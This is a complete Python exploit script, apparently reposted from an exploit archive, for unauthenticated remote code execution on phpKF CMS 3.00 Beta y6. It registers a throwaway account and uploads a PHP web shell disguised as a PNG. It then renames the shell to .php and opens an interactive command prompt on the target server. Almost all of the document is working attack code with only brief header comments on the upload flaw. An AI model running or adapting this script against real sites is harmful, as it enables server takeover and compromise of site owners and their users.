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phpKF CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated) Exploit
[# Exploit Title: phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.phpkf.com/
# Software Link: https://www.phpkf.com/indirme.php
# Version: 3.00
# Category: Webapps
# Tested on: Linux/Windows
# phpKF-CMS; It is a very popular content management system for promotion, news, shopping, corporate, friends, blogs and more.
# Contains an endpoint that allows remote access
# Necessary checks are not made in the file upload mechanism, only the file extension is checked
# The file with the extension ".png" can be uploaded and the extension can be changed.
# Example: python3 exploit.py -u http://example.com
# python3 exploit.py -u http://example.com -l admin -p Admin123
from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import json
def main():
parser = argparse.ArgumentParser(description='phpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=False)
parser.add_argument('-p', '--password', type=str, required=False)
args = parser.parse_args()
print("\nphpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
host(args)
def host(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
sleep(2)
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
else:
print("\n[?] Check Adress...\n")
sleep(2)
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
# Check Host Status
try:
response = requests.get(args.host)
if response.status_code == 200:
if args.login == None and args.password == None:
create_user(args)
else:
login_user(args)
else:
print("[-] Address not reachable!")
sleep(2)
except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)
def create_user(args):
print("[*] Create User!\n")
sleep(2)
url = args.host + "/phpkf-bilesenler/kayit_yap.php"
headers = {
"Origin": args.host,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
"Referer": "http://fuzzing.com/uye-kayit.php",
"Accept-Encoding": "gzip, deflate"
}
data = {
"kayit_yapildi_mi": "form_dolu",
"oturum": '', "kullanici_adi": "evil",
"sifre": "Evil123",
"sifre2": "Evil123",
"posta": "evil@localhost.com",
"kosul": "on"
}
response = requests.post(url, headers=headers, data=data, allow_redirects=True)
args.login = ("evil")
args.password = ("Evil123")
print("[+] " + args.login + ":" + args.password + "\n")
sleep(2)
login_user(args)
def login_user(args):
url = args.host + "/uye-giris.php"
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/uye-giris.php",
"Accept-Encoding": "gzip, deflate"
}
data = {
"kayit_yapildi_mi": "form_dolu",
"git": args.host + "/index.php",
"kullanici_adi": args.login,
"sifre": args.password,
"hatirla": "on"
}
response = requests.post(url, headers=headers, data=data, allow_redirects=False)
token = response.cookies.get("kullanici_kimlik")
if (token != None):
print("[!] Login Success!\n")
sleep(2)
upload_evil(args, token)
else:
if args.login == "evil" and args.password == "Evil123":
print("[!] Unauthorized user!\n")
print("[!] manually add a user and try again\n")
print("[!] Go to link " + args.host + "/uye-kayit.php\n")
print("python3 exploit.py -u '"+ args.host +"' -l 'attacker' -p 'p@ssW0rd'")
sleep(2)
else:
print("[!] Unauthorized user!\n")
sleep(2)
def upload_evil(args, token):
url = args.host + "/phpkf-bilesenler/yukleme/index.php"
cookies = {
"kullanici_kimlik": token,
"dil": "en"
}
headers = {
"VERICEK": "",
"DOSYA-ADI": "evil.png",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded; charset=utf-8",
"Accept": "*/*",
"Origin": args.host,
"Referer": args.host + "/oi_yaz.php",
"Accept-Encoding": "gzip, deflate"
}
data = "<?php if(isset($_GET['cmd'])){ $cmd = ($_GET['cmd']); system($cmd); die; } ?>"
response = requests.post(url, headers=headers, cookies=cookies, data=data)
if (response.text == "yuklendi"):
print("[!] Upload Success!\n")
sleep(2)
change_name(args, token)
else:
print("[!] Upload Failed!\n")
sleep(2)
def change_name(args, token):
url = args.host + "/phpkf-bilesenler/yukleme/index.php"
cookies = {
"kullanici_kimlik": token,
"dil": "en"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept": "*/*",
"Origin": args.host,
"Referer": args.host + "/oi_yaz.php",
"Accept-Encoding": "gzip, deflate"
}
data = {
"yenidenadlandir": "evil.png|evil.php",
"vericek": "/"
}
response = requests.post(url, headers=headers, cookies=cookies, data=data)
if (response.text == "Name successfully changed..."):
print("[!] Change Name evil.php!\n")
sleep(2)
find_dict(args, token)
else:
print("[!] Change Failed!\n")
sleep(2)
def find_dict(args, token):
url = args.host + "/phpkf-bilesenler/yukleme/index.php"
cookies = {
"kullanici_kimlik": token,
"dil": "en"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept": "*/*",
"Origin": args.host,
"Referer": args.host + "/oi_yaz.php",
"Accept-Encoding": "gzip, deflate"
}
data = {
"vericek": "/",
"dds": "0"
}
response = requests.post(url, headers=headers, cookies=cookies, data=data)
if (response.text == "You can not upload files!"):
print("[!] File not found!\n")
sleep(2)
else:
print("[!] Find Vuln File!\n")
sleep(2)
soup = BeautifulSoup(response.text, 'html.parser')
path = soup.find("div").contents[1].replace(" ", "")
exploit(args, path)
def exploit(args, path):
print("[+] Exploit Done!\n")
sleep(2)
while True:
cmd = input("$ ")
url = args.host + path + "evil.php?cmd=" + cmd
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
}
response = requests.post(url, headers=headers, timeout=5)
if response.text == "":
print(cmd + ": command not found\n")
else:
print(response.text)
if __name__ == '__main__':
main()
# 0day.today [2024-11-14] #